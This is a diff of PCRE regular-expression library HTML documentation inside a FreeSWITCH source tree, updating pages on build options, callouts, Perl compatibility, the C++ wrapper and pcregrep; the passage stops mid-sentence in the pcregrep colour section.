+If you set --enable-utf8 when compiling in an EBCDIC environment, PCRE expects
+its input to be either ASCII or UTF-8 (depending on the runtime option). It is
+not possible to support both EBCDIC and UTF-8 codes in the same version of the
+library. Consequently, --enable-utf8 and --enable-ebcdic are mutually
+exclusive.
+</P>
 <br><a name="SEC4" href="#TOC1">UNICODE CHARACTER PROPERTY SUPPORT</a><br>
 <P>
 UTF-8 support allows PCRE to process character values greater than 255 in the
@@ -77,17 +97,17 @@
 not explicitly requested it.
 </P>
 <P>
-Including Unicode property support adds around 90K of tables to the PCRE
-library, approximately doubling its size. Only the general category properties
-such as <i>Lu</i> and <i>Nd</i> are supported. Details are given in the
+Including Unicode property support adds around 30K of tables to the PCRE
+library. Only the general category properties such as <i>Lu</i> and <i>Nd</i> are
+supported. Details are given in the
 <a href="pcrepattern.html"><b>pcrepattern</b></a>
 documentation.
 </P>
 <br><a name="SEC5" href="#TOC1">CODE VALUE OF NEWLINE</a><br>
 <P>
-By default, PCRE interprets character 10 (linefeed, LF) as indicating the end
+By default, PCRE interprets the linefeed (LF) character as indicating the end
 of a line. This is the normal newline character on Unix-like systems. You can
-compile PCRE to use character 13 (carriage return, CR) instead, by adding
+compile PCRE to use carriage return (CR) instead, by adding
 <pre>
   --enable-newline-is-cr
 </pre>
@@ -100,12 +120,35 @@
 <pre>
   --enable-newline-is-crlf
 </pre>
-to the <b>configure</b> command. Whatever line ending convention is selected
-when PCRE is built can be overridden when the library functions are called. At
-build time it is conventional to use the standard for your operating system.
+to the <b>configure</b> command. There is a fourth option, specified by
+<pre>
+  --enable-newline-is-anycrlf
+</pre>
+which causes PCRE to recognize any of the three sequences CR, LF, or CRLF as
+indicating a line ending. Finally, a fifth option, specified by
+<pre>
+  --enable-newline-is-any
+</pre>
+causes PCRE to recognize any Unicode newline sequence.
 </P>
-<br><a name="SEC6" href="#TOC1">BUILDING SHARED AND STATIC LIBRARIES</a><br>
 <P>
+Whatever line ending convention is selected when PCRE is built can be
+overridden when the library functions are called. At build time it is
+conventional to use the standard for your operating system.
+</P>
+<br><a name="SEC6" href="#TOC1">WHAT \R MATCHES</a><br>
+<P>
+By default, the sequence \R in a pattern matches any Unicode newline sequence,
+whatever has been selected as the line ending sequence. If you specify
+<pre>
+  --enable-bsr-anycrlf
+</pre>
+the default is changed so that \R matches only CR, LF, or CRLF. Whatever is
+selected when PCRE is built can be overridden when the library functions are
+called.
+</P>
+<br><a name="SEC7" href="#TOC1">BUILDING SHARED AND STATIC LIBRARIES</a><br>
+<P>
 The PCRE building process uses <b>libtool</b> to build both shared and static
 Unix libraries by default. You can suppress one of these by adding one of
 <pre>
@@ -114,7 +157,7 @@
 </pre>
 to the <b>configure</b> command, as required.
 </P>
-<br><a name="SEC7" href="#TOC1">POSIX MALLOC USAGE</a><br>
+<br><a name="SEC8" href="#TOC1">POSIX MALLOC USAGE</a><br>
 <P>
 When PCRE is called through the POSIX interface (see the
 <a href="pcreposix.html"><b>pcreposix</b></a>
@@ -130,7 +173,7 @@
 </pre>
 to the <b>configure</b> command.
 </P>
-<br><a name="SEC8" href="#TOC1">HANDLING VERY LARGE PATTERNS</a><br>
+<br><a name="SEC9" href="#TOC1">HANDLING VERY LARGE PATTERNS</a><br>
 <P>
 Within a compiled pattern, offset values are used to point from one part to
 another (for example, from an opening parenthesis to an alternation
@@ -146,13 +189,8 @@
 longer offsets slows down the operation of PCRE because it has to load
 additional bytes when handling them.
 </P>
+<br><a name="SEC10" href="#TOC1">AVOIDING EXCESSIVE STACK USAGE</a><br>
 <P>
-If you build PCRE with an increased link size, test 2 (and test 5 if you are
-using UTF-8) will fail. Part of the output of these tests is a representation
-of the compiled pattern, and this changes with the link size.
-</P>
-<br><a name="SEC9" href="#TOC1">AVOIDING EXCESSIVE STACK USAGE</a><br>
-<P>
 When matching with the <b>pcre_exec()</b> function, PCRE implements backtracking
 by making recursive calls to an internal function called <b>match()</b>. In
 environments where the size of the stack is limited, this can severely limit
@@ -169,16 +207,21 @@
 </pre>
 to the <b>configure</b> command. With this configuration, PCRE will use the
 <b>pcre_stack_malloc</b> and <b>pcre_stack_free</b> variables to call memory
-management functions. Separate functions are provided because the usage is very
-predictable: the block sizes requested are always the same, and the blocks are
-always freed in reverse order. A calling program might be able to implement
-optimized functions that perform better than the standard <b>malloc()</b> and
-<b>free()</b> functions. PCRE runs noticeably more slowly when built in this
-way. This option affects only the <b>pcre_exec()</b> function; it is not
-relevant for the the <b>pcre_dfa_exec()</b> function.
+management functions. By default these point to <b>malloc()</b> and
+<b>free()</b>, but you can replace the pointers so that your own functions are
+used.
 </P>
-<br><a name="SEC10" href="#TOC1">LIMITING PCRE RESOURCE USAGE</a><br>
 <P>
+Separate functions are provided rather than using <b>pcre_malloc</b> and
+<b>pcre_free</b> because the usage is very predictable: the block sizes
+requested are always the same, and the blocks are always freed in reverse
+order. A calling program might be able to implement optimized functions that
+perform better than <b>malloc()</b> and <b>free()</b>. PCRE runs noticeably more
+slowly when built in this way. This option affects only the <b>pcre_exec()</b>
+function; it is not relevant for the the <b>pcre_dfa_exec()</b> function.
+</P>
+<br><a name="SEC11" href="#TOC1">LIMITING PCRE RESOURCE USAGE</a><br>
+<P>
 Internally, PCRE has a function called <b>match()</b>, which it calls repeatedly
 (sometimes recursively) when matching a pattern with the <b>pcre_exec()</b>
 function. By controlling the maximum number of times this function may be
@@ -206,20 +249,100 @@
 </pre>
 to the <b>configure</b> command. This value can also be overridden at run time.
 </P>
-<br><a name="SEC11" href="#TOC1">USING EBCDIC CODE</a><br>
+<br><a name="SEC12" href="#TOC1">CREATING CHARACTER TABLES AT BUILD TIME</a><br>
 <P>
+PCRE uses fixed tables for processing characters whose code values are less
+than 256. By default, PCRE is built with a set of tables that are distributed
+in the file <i>pcre_chartables.c.dist</i>. These tables are for ASCII codes
+only. If you add
+<pre>
+  --enable-rebuild-chartables
+</pre>
+to the <b>configure</b> command, the distributed tables are no longer used.
+Instead, a program called <b>dftables</b> is compiled and run. This outputs the
+source for new set of tables, created in the default locale of your C runtime
+system. (This method of replacing the tables does not work if you are cross
+compiling, because <b>dftables</b> is run on the local host. If you need to
+create alternative tables when cross compiling, you will have to do so "by
+hand".)
+</P>
+<br><a name="SEC13" href="#TOC1">USING EBCDIC CODE</a><br>
+<P>
 PCRE assumes by default that it will run in an environment where the character
-code is ASCII (or Unicode, which is a superset of ASCII). PCRE can, however, be
-compiled to run in an EBCDIC environment by adding
+code is ASCII (or Unicode, which is a superset of ASCII). This is the case for
+most computer operating systems. PCRE can, however, be compiled to run in an
+EBCDIC environment by adding
 <pre>
   --enable-ebcdic
 </pre>
-to the <b>configure</b> command.
+to the <b>configure</b> command. This setting implies
+--enable-rebuild-chartables. You should only use it if you know that you are in
+an EBCDIC environment (for example, an IBM mainframe operating system). The
+--enable-ebcdic option is incompatible with --enable-utf8.
 </P>
+<br><a name="SEC14" href="#TOC1">PCREGREP OPTIONS FOR COMPRESSED FILE SUPPORT</a><br>
 <P>
-Last updated: 06 June 2006
+By default, <b>pcregrep</b> reads all files as plain text. You can build it so
+that it recognizes files whose names end in <b>.gz</b> or <b>.bz2</b>, and reads
+them with <b>libz</b> or <b>libbz2</b>, respectively, by adding one or both of
+<pre>
+  --enable-pcregrep-libz
+  --enable-pcregrep-libbz2
+</pre>
+to the <b>configure</b> command. These options naturally require that the
+relevant libraries are installed on your system. Configuration will fail if
+they are not.
+</P>
+<br><a name="SEC15" href="#TOC1">PCRETEST OPTION FOR LIBREADLINE SUPPORT</a><br>
+<P>
+If you add
+<pre>
+  --enable-pcretest-libreadline
+</pre>
+to the <b>configure</b> command, <b>pcretest</b> is linked with the
+<b>libreadline</b> library, and when its input is from a terminal, it reads it
+using the <b>readline()</b> function. This provides line-editing and history
+facilities. Note that <b>libreadline</b> is GPL-licenced, so if you distribute a
+binary of <b>pcretest</b> linked in this way, there may be licensing issues.
+</P>
+<P>
+Setting this option causes the <b>-lreadline</b> option to be added to the
+<b>pcretest</b> build. In many operating environments with a sytem-installed
+<b>libreadline</b> this is sufficient. However, in some environments (e.g.
+if an unmodified distribution version of readline is in use), some extra
+configuration may be necessary. The INSTALL file for <b>libreadline</b> says
+this:
+<pre>
+  "Readline uses the termcap functions, but does not link with the
+  termcap or curses library itself, allowing applications which link
+  with readline the to choose an appropriate library."
+</pre>
+If your environment has not been set up so that an appropriate library is
+automatically included, you may need to add something like
+<pre>
+  LIBS="-ncurses"
+</pre>
+immediately before the <b>configure</b> command.
+</P>
+<br><a name="SEC16" href="#TOC1">SEE ALSO</a><br>
+<P>
+<b>pcreapi</b>(3), <b>pcre_config</b>(3).
+</P>
+<br><a name="SEC17" href="#TOC1">AUTHOR</a><br>
+<P>
+Philip Hazel
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><a name="SEC18" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 17 March 2009
+<br>
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrecallout.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrecallout.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrecallout.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,6 +17,8 @@
 <li><a name="TOC2" href="#SEC2">MISSING CALLOUTS</a>
 <li><a name="TOC3" href="#SEC3">THE CALLOUT INTERFACE</a>
 <li><a name="TOC4" href="#SEC4">RETURN VALUES</a>
+<li><a name="TOC5" href="#SEC5">AUTHOR</a>
+<li><a name="TOC6" href="#SEC6">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">PCRE CALLOUTS</a><br>
 <P>
@@ -35,7 +37,7 @@
 a number less than 256 after the letter C. The default value is zero.
 For example, this pattern has two callout points:
 <pre>
-  (?C1)\deabc(?C2)def
+  (?C1)abc(?C2)def
 </pre>
 If the PCRE_AUTO_CALLOUT option bit is set when <b>pcre_compile()</b> is called,
 PCRE automatically inserts callouts, all with number 255, before each item in
@@ -60,7 +62,8 @@
 <br><a name="SEC2" href="#TOC1">MISSING CALLOUTS</a><br>
 <P>
 You should be aware that, because of optimizations in the way PCRE matches
-patterns, callouts sometimes do not happen. For example, if the pattern is
+patterns by default, callouts sometimes do not happen. For example, if the
+pattern is
 <pre>
   ab(?C4)cd
 </pre>
@@ -69,6 +72,12 @@
 the callout is never reached. However, with "abyd", though the result is still
 no match, the callout is obeyed.
 </P>
+<P>
+You can disable these optimizations by passing the PCRE_NO_START_OPTIMIZE
+option to <b>pcre_exec()</b> or <b>pcre_dfa_exec()</b>. This slows down the
+matching process, but does ensure that callouts such as the example above are
+obeyed.
+</P>
 <br><a name="SEC3" href="#TOC1">THE CALLOUT INTERFACE</a><br>
 <P>
 During matching, when PCRE reaches a callout point, the external function
@@ -113,10 +122,12 @@
 that were passed to <b>pcre_exec()</b>.
 </P>
 <P>
-The <i>start_match</i> field contains the offset within the subject at which the
-current match attempt started. If the pattern is not anchored, the callout
-function may be called several times from the same point in the pattern for
-different starting points in the subject.
+The <i>start_match</i> field normally contains the offset within the subject at
+which the current match attempt started. However, if the escape sequence \K
+has been encountered, this value is changed to reflect the modified starting
+point. If the pattern is not anchored, the callout function may be called
+several times from the same point in the pattern for different starting points
+in the subject.
 </P>
 <P>
 The <i>current_position</i> field contains the offset within the subject of the
@@ -177,10 +188,21 @@
 The error number PCRE_ERROR_CALLOUT is reserved for use by callout functions;
 it will never be used by PCRE itself.
 </P>
+<br><a name="SEC5" href="#TOC1">AUTHOR</a><br>
 <P>
-Last updated: 28 February 2005
+Philip Hazel
 <br>
-Copyright &copy; 1997-2005 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><a name="SEC6" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 15 March 2009
+<br>
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrecompat.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrecompat.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrecompat.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,8 +17,9 @@
 </b><br>
 <P>
 This document describes the differences in the ways that PCRE and Perl handle
-regular expressions. The differences described here are with respect to Perl
-5.8.
+regular expressions. The differences described here are mainly with respect to
+Perl 5.8, though PCRE versions 7.0 and later contain some features that are
+expected to be in the forthcoming Perl 5.10.
 </P>
 <P>
 1. PCRE has only a subset of Perl's UTF-8 and Unicode support. Details of what
@@ -76,20 +77,34 @@
 The \Q...\E sequence is recognized both inside and outside character classes.
 </P>
 <P>
-8. Fairly obviously, PCRE does not support the (?{code}) and (?p{code})
-constructions. However, there is support for recursive patterns using the
-non-Perl items (?R), (?number), and (?P&#62;name). Also, the PCRE "callout" feature
-allows an external function to be called during pattern matching. See the
+8. Fairly obviously, PCRE does not support the (?{code}) and (??{code})
+constructions. However, there is support for recursive patterns. This is not
+available in Perl 5.8, but will be in Perl 5.10. Also, the PCRE "callout"
+feature allows an external function to be called during pattern matching. See
+the
 <a href="pcrecallout.html"><b>pcrecallout</b></a>
 documentation for details.
 </P>
 <P>
-9. There are some differences that are concerned with the settings of captured
+9. Subpatterns that are called recursively or as "subroutines" are always
+treated as atomic groups in PCRE. This is like Python, but unlike Perl.
+</P>
+<P>
+10. There are some differences that are concerned with the settings of captured
 strings when part of a pattern is repeated. For example, matching "aba" against
 the pattern /^(a(b)?)+$/ in Perl leaves $2 unset, but in PCRE it is set to "b".
 </P>
 <P>
-10. PCRE provides some extensions to the Perl regular expression facilities:
+11. PCRE does support Perl 5.10's backtracking verbs (*ACCEPT), (*FAIL), (*F),
+(*COMMIT), (*PRUNE), (*SKIP), and (*THEN), but only in the forms without an
+argument. PCRE does not support (*MARK). If (*ACCEPT) is within capturing
+parentheses, PCRE does not set that capture group; this is different to Perl.
+</P>
+<P>
+12. PCRE provides some extensions to the Perl regular expression facilities.
+Perl 5.10 will include new features that are not in earlier versions, some of
+which (such as named parentheses) have been in PCRE for some time. This list is
+with respect to Perl 5.10:
 <br>
 <br>
 (a) Although lookbehind assertions must match fixed length strings, each
@@ -102,8 +117,8 @@
 <br>
 <br>
 (c) If PCRE_EXTRA is set, a backslash followed by a letter with no special
-meaning is faulted. Otherwise, like Perl, the backslash is ignored. (Perl can
-be made to issue a warning.)
+meaning is faulted. Otherwise, like Perl, the backslash is quietly ignored.
+(Perl can be made to issue a warning.)
 <br>
 <br>
 (d) If PCRE_UNGREEDY is set, the greediness of the repetition quantifiers is
@@ -119,38 +134,46 @@
 options for <b>pcre_exec()</b> have no Perl equivalents.
 <br>
 <br>
-(g) The (?R), (?number), and (?P&#62;name) constructs allows for recursive pattern
-matching (Perl can do this using the (?p{code}) construct, which PCRE cannot
-support.)
+(g) The \R escape sequence can be restricted to match only CR, LF, or CRLF
+by the PCRE_BSR_ANYCRLF option.
 <br>
 <br>
-(h) PCRE supports named capturing substrings, using the Python syntax.
+(h) The callout facility is PCRE-specific.
 <br>
 <br>
-(i) PCRE supports the possessive quantifier "++" syntax, taken from Sun's Java
-package.
+(i) The partial matching facility is PCRE-specific.
 <br>
 <br>
-(j) The (R) condition, for testing recursion, is a PCRE extension.
+(j) Patterns compiled by PCRE can be saved and re-used at a later time, even on
+different hosts that have the other endianness.
 <br>
 <br>
-(k) The callout facility is PCRE-specific.
+(k) The alternative matching function (<b>pcre_dfa_exec()</b>) matches in a
+different way and is not Perl-compatible.
 <br>
 <br>
-(l) The partial matching facility is PCRE-specific.
+(l) PCRE recognizes some special sequences such as (*CR) at the start of
+a pattern that set overall options that cannot be changed within the pattern.
+</P>
+<br><b>
+AUTHOR
+</b><br>
+<P>
+Philip Hazel
 <br>
+University Computing Service
 <br>
-(m) Patterns compiled by PCRE can be saved and re-used at a later time, even on
-different hosts that have the other endianness.
+Cambridge CB2 3QH, England.
 <br>
-<br>
-(n) The alternative matching function (<b>pcre_dfa_exec()</b>) matches in a
-different way and is not Perl-compatible.
 </P>
+<br><b>
+REVISION
+</b><br>
 <P>
-Last updated: 06 June 2006
+Last updated: 11 September 2007
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+Copyright &copy; 1997-2007 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcrecpp.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcrecpp.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcrecpp.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,20 +16,20 @@
 <li><a name="TOC1" href="#SEC1">SYNOPSIS OF C++ WRAPPER</a>
 <li><a name="TOC2" href="#SEC2">DESCRIPTION</a>
 <li><a name="TOC3" href="#SEC3">MATCHING INTERFACE</a>
-<li><a name="TOC4" href="#SEC4">PARTIAL MATCHES</a>
-<li><a name="TOC5" href="#SEC5">UTF-8 AND THE MATCHING INTERFACE</a>
-<li><a name="TOC6" href="#SEC6">PASSING MODIFIERS TO THE REGULAR EXPRESSION ENGINE</a>
-<li><a name="TOC7" href="#SEC7">SCANNING TEXT INCREMENTALLY</a>
-<li><a name="TOC8" href="#SEC8">PARSING HEX/OCTAL/C-RADIX NUMBERS</a>
-<li><a name="TOC9" href="#SEC9">REPLACING PARTS OF STRINGS</a>
-<li><a name="TOC10" href="#SEC10">AUTHOR</a>
+<li><a name="TOC4" href="#SEC4">QUOTING METACHARACTERS</a>
+<li><a name="TOC5" href="#SEC5">PARTIAL MATCHES</a>
+<li><a name="TOC6" href="#SEC6">UTF-8 AND THE MATCHING INTERFACE</a>
+<li><a name="TOC7" href="#SEC7">PASSING MODIFIERS TO THE REGULAR EXPRESSION ENGINE</a>
+<li><a name="TOC8" href="#SEC8">SCANNING TEXT INCREMENTALLY</a>
+<li><a name="TOC9" href="#SEC9">PARSING HEX/OCTAL/C-RADIX NUMBERS</a>
+<li><a name="TOC10" href="#SEC10">REPLACING PARTS OF STRINGS</a>
+<li><a name="TOC11" href="#SEC11">AUTHOR</a>
+<li><a name="TOC12" href="#SEC12">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">SYNOPSIS OF C++ WRAPPER</a><br>
 <P>
 <b>#include &#60;pcrecpp.h&#62;</b>
 </P>
-<P>
-</P>
 <br><a name="SEC2" href="#TOC1">DESCRIPTION</a><br>
 <P>
 The C++ wrapper for PCRE was provided by Google Inc. Some additional
@@ -101,17 +101,44 @@
 
   c. The "i"th argument has a suitable type for holding the
      string captured as the "i"th sub-pattern. If you pass in
-     NULL for the "i"th argument, or pass fewer arguments than
+     void * NULL for the "i"th argument, or a non-void * NULL
+     of the correct type, or pass fewer arguments than the
      number of sub-patterns, "i"th captured sub-pattern is
      ignored.
 </pre>
+CAVEAT: An optional sub-pattern that does not exist in the matched
+string is assigned the empty string. Therefore, the following will
+return false (because the empty string is not a valid number):
+<pre>
+   int number;
+   pcrecpp::RE::FullMatch("abc", "[a-z]+(\\d+)?", &number);
+</pre>
 The matching interface supports at most 16 arguments per call.
 If you need more, consider using the more general interface
 <b>pcrecpp::RE::DoMatch</b>. See <b>pcrecpp.h</b> for the signature for
 <b>DoMatch</b>.
 </P>
-<br><a name="SEC4" href="#TOC1">PARTIAL MATCHES</a><br>
 <P>
+NOTE: Do not use <b>no_arg</b>, which is used internally to mark the end of a
+list of optional arguments, as a placeholder for missing arguments, as this can
+lead to segfaults.
+</P>
+<br><a name="SEC4" href="#TOC1">QUOTING METACHARACTERS</a><br>
+<P>
+You can use the "QuoteMeta" operation to insert backslashes before all
+potentially meaningful characters in a string. The returned string, used as a
+regular expression, will exactly match the original string.
+<pre>
+  Example:
+     string quoted = RE::QuoteMeta(unquoted);
+</pre>
+Note that it's legal to escape a character even if it has no special meaning in
+a regular expression -- so this function does that. (This also makes it
+identical to the perl function of the same name; see "perldoc -f quotemeta".)
+For example, "1.5-2.0?" becomes "1\.5\-2\.0\?".
+</P>
+<br><a name="SEC5" href="#TOC1">PARTIAL MATCHES</a><br>
+<P>
 You can use the "PartialMatch" operation when you want the pattern
 to match any substring of the text.
 <pre>
@@ -125,7 +152,7 @@
      assert(number == 100);
 </PRE>
 </P>
-<br><a name="SEC5" href="#TOC1">UTF-8 AND THE MATCHING INTERFACE</a><br>
+<br><a name="SEC6" href="#TOC1">UTF-8 AND THE MATCHING INTERFACE</a><br>
 <P>
 By default, pattern and text are plain text, one byte per character. The UTF8
 flag, passed to the constructor, causes both pattern and string to be treated
@@ -150,7 +177,7 @@
       --enable-utf8 flag.
 </PRE>
 </P>
-<br><a name="SEC6" href="#TOC1">PASSING MODIFIERS TO THE REGULAR EXPRESSION ENGINE</a><br>
+<br><a name="SEC7" href="#TOC1">PASSING MODIFIERS TO THE REGULAR EXPRESSION ENGINE</a><br>
 <P>
 PCRE defines some modifiers to change the behavior of the regular expression
 engine. The C++ wrapper defines an auxiliary class, RE_Options, as a vehicle to
@@ -244,7 +271,7 @@
 
 </PRE>
 </P>
-<br><a name="SEC7" href="#TOC1">SCANNING TEXT INCREMENTALLY</a><br>
+<br><a name="SEC8" href="#TOC1">SCANNING TEXT INCREMENTALLY</a><br>
 <P>
 The "Consume" operation may be useful if you want to repeatedly
 match regular expressions at the front of a string and skip over
@@ -277,7 +304,7 @@
   pcrecpp::RE("(\\w+)").FindAndConsume(&input, &word)
 </PRE>
 </P>
-<br><a name="SEC8" href="#TOC1">PARSING HEX/OCTAL/C-RADIX NUMBERS</a><br>
+<br><a name="SEC9" href="#TOC1">PARSING HEX/OCTAL/C-RADIX NUMBERS</a><br>
 <P>
 By default, if you pass a pointer to a numeric value, the
 corresponding text is interpreted as a base-10 number. You can
@@ -295,7 +322,7 @@
 </pre>
 will leave 64 in a, b, c, and d.
 </P>
-<br><a name="SEC9" href="#TOC1">REPLACING PARTS OF STRINGS</a><br>
+<br><a name="SEC10" href="#TOC1">REPLACING PARTS OF STRINGS</a><br>
 <P>
 You can replace the first match of "pattern" in "str" with "rewrite".
 Within "rewrite", backslash-escaped digits (\1 to \9) can be
@@ -327,11 +354,17 @@
 occurred and the extraction happened successfully;  if no match occurs, the
 string is left unaffected.
 </P>
-<br><a name="SEC10" href="#TOC1">AUTHOR</a><br>
+<br><a name="SEC11" href="#TOC1">AUTHOR</a><br>
 <P>
 The C++ wrapper was contributed by Google Inc.
 <br>
-Copyright &copy; 2005 Google Inc.
+Copyright &copy; 2007 Google Inc.
+<br>
+</P>
+<br><a name="SEC12" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 17 March 2009
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcregrep.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcregrep.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcregrep.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,14 +15,17 @@
 <ul>
 <li><a name="TOC1" href="#SEC1">SYNOPSIS</a>
 <li><a name="TOC2" href="#SEC2">DESCRIPTION</a>
-<li><a name="TOC3" href="#SEC3">OPTIONS</a>
-<li><a name="TOC4" href="#SEC4">ENVIRONMENT VARIABLES</a>
-<li><a name="TOC5" href="#SEC5">NEWLINES</a>
-<li><a name="TOC6" href="#SEC6">OPTIONS COMPATIBILITY</a>
-<li><a name="TOC7" href="#SEC7">OPTIONS WITH DATA</a>
-<li><a name="TOC8" href="#SEC8">MATCHING ERRORS</a>
-<li><a name="TOC9" href="#SEC9">DIAGNOSTICS</a>
-<li><a name="TOC10" href="#SEC10">AUTHOR</a>
+<li><a name="TOC3" href="#SEC3">SUPPORT FOR COMPRESSED FILES</a>
+<li><a name="TOC4" href="#SEC4">OPTIONS</a>
+<li><a name="TOC5" href="#SEC5">ENVIRONMENT VARIABLES</a>
+<li><a name="TOC6" href="#SEC6">NEWLINES</a>
+<li><a name="TOC7" href="#SEC7">OPTIONS COMPATIBILITY</a>
+<li><a name="TOC8" href="#SEC8">OPTIONS WITH DATA</a>
+<li><a name="TOC9" href="#SEC9">MATCHING ERRORS</a>
+<li><a name="TOC10" href="#SEC10">DIAGNOSTICS</a>
+<li><a name="TOC11" href="#SEC11">SEE ALSO</a>
+<li><a name="TOC12" href="#SEC12">AUTHOR</a>
+<li><a name="TOC13" href="#SEC13">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">SYNOPSIS</a><br>
 <P>
@@ -33,9 +36,9 @@
 <b>pcregrep</b> searches files for character patterns, in the same way as other
 grep commands do, but it uses the PCRE regular expression library to support
 patterns that are compatible with the regular expressions of Perl 5. See
-<a href="pcrepattern.html"><b>pcrepattern</b></a>
-for a full description of syntax and semantics of the regular expressions that
-PCRE supports.
+<a href="pcrepattern.html"><b>pcrepattern</b>(3)</a>
+for a full description of syntax and semantics of the regular expressions
+that PCRE supports.
 </P>
 <P>
 Patterns, whether supplied on the command line or in a separate file, are given
@@ -45,9 +48,9 @@
 </pre>
 If you attempt to use delimiters (for example, by surrounding a pattern with
 slashes, as is common in Perl scripts), they are interpreted as part of the
-pattern. Quotes can of course be used on the command line because they are
-interpreted by the shell, and indeed they are required if a pattern contains
-white space or shell metacharacters.
+pattern. Quotes can of course be used to delimit patterns on the command line
+because they are interpreted by the shell, and indeed they are required if a
+pattern contains white space or shell metacharacters.
 </P>
 <P>
 The first argument that follows any option settings is treated as the single
@@ -63,24 +66,59 @@
 <pre>
   pcregrep some-pattern /file1 - /file3
 </pre>
-By default, each line that matches the pattern is copied to the standard
+By default, each line that matches a pattern is copied to the standard
 output, and if there is more than one file, the file name is output at the
-start of each line. However, there are options that can change how
-<b>pcregrep</b> behaves. In particular, the <b>-M</b> option makes it possible to
-search for patterns that span line boundaries. What defines a line boundary is
-controlled by the <b>-N</b> (<b>--newline</b>) option.
+start of each line, followed by a colon. However, there are options that can
+change how <b>pcregrep</b> behaves. In particular, the <b>-M</b> option makes it
+possible to search for patterns that span line boundaries. What defines a line
+boundary is controlled by the <b>-N</b> (<b>--newline</b>) option.
 </P>
 <P>
 Patterns are limited to 8K or BUFSIZ characters, whichever is the greater.
-BUFSIZ is defined in <b>&#60;stdio.h&#62;</b>.
+BUFSIZ is defined in <b>&#60;stdio.h&#62;</b>. When there is more than one pattern
+(specified by the use of <b>-e</b> and/or <b>-f</b>), each pattern is applied to
+each line in the order in which they are defined, except that all the <b>-e</b>
+patterns are tried before the <b>-f</b> patterns.
 </P>
 <P>
+By default, as soon as one pattern matches (or fails to match when <b>-v</b> is
+used), no further patterns are considered. However, if <b>--colour</b> (or
+<b>--color</b>) is used to colour the matching substrings, or if
+<b>--only-matching</b>, <b>--file-offsets</b>, or <b>--line-offsets</b> is used to
+output only the part of the line that matched (either shown literally, or as an
+offset), scanning resumes immediately following the match, so that further
+matches on the same line can be found. If there are multiple patterns, they are
+all tried on the remainder of the line, but patterns that follow the one that
+matched are not tried on the earlier part of the line.
+</P>
+<P>
+This is the same behaviour as GNU grep, but it does mean that the order in
+which multiple patterns are specified can affect the output when one of the
+above options is used.
+</P>
+<P>
+Patterns that can match an empty string are accepted, but empty string
+matches are not recognized. An example is the pattern "(super)?(man)?", in
+which all components are optional. This pattern finds all occurrences of both
+"super" and "man"; the output differs from matching with "super|man" when only
+the matching substrings are being shown.
+</P>
+<P>
 If the <b>LC_ALL</b> or <b>LC_CTYPE</b> environment variable is set,
 <b>pcregrep</b> uses the value to set a locale when calling the PCRE library.
 The <b>--locale</b> option can be used to override this.
 </P>
-<br><a name="SEC3" href="#TOC1">OPTIONS</a><br>
+<br><a name="SEC3" href="#TOC1">SUPPORT FOR COMPRESSED FILES</a><br>
 <P>
+It is possible to compile <b>pcregrep</b> so that it uses <b>libz</b> or
+<b>libbz2</b> to read files whose names end in <b>.gz</b> or <b>.bz2</b>,
+respectively. You can find out whether your binary has support for one or both
+of these file types by running it with the <b>--help</b> option. If the
+appropriate support is not present, files are treated as plain text. The
+standard input is always so treated.
+</P>
+<br><a name="SEC4" href="#TOC1">OPTIONS</a><br>
+<P>
 <b>--</b>
 This terminate the list of options. It is useful if the next item on the
 command line starts with a hyphen but is not an option. This allows for the
@@ -124,18 +162,23 @@
 </P>
 <P>
 <b>--colour=</b><i>value</i>, <b>--color=</b><i>value</i>
-This option specifies under what circumstances the part of a line that matched
-a pattern should be coloured in the output. The value may be "never" (the
-default), "always", or "auto". In the latter case, colouring happens only if
-the standard output is connected to a terminal. The colour can be specified by
-setting the environment variable PCREGREP_COLOUR or PCREGREP_COLOR. The value
-of this variable should be a string of two numbers, separated by a semicolon.
-They are copied directly into the control string for setting colour on a
-terminal, so it is your responsibility to ensure that they make sense. If
-neither of the environment variables is set, the default is "1;31", which gives
-red.
+This option specifies under what circumstances the parts of a line that matched
+a pattern should be coloured in the output. By default, the output is not
+coloured. The value (which is optional, see above) may be "never", "always", or
+"auto". In the latter case, colouring happens only if the standard output is
+connected to a terminal. More resources are used when colouring is enabled,
+because <b>pcregrep</b> has to search for all possible matches in a line, not
+just one, in order to colour them all.
 </P>
 <P>
+The colour that is used can be specified by setting the environment variable
+PCREGREP_COLOUR or PCREGREP_COLOR. The value of this variable should be a
+string of two numbers, separated by a semicolon. They are copied directly into
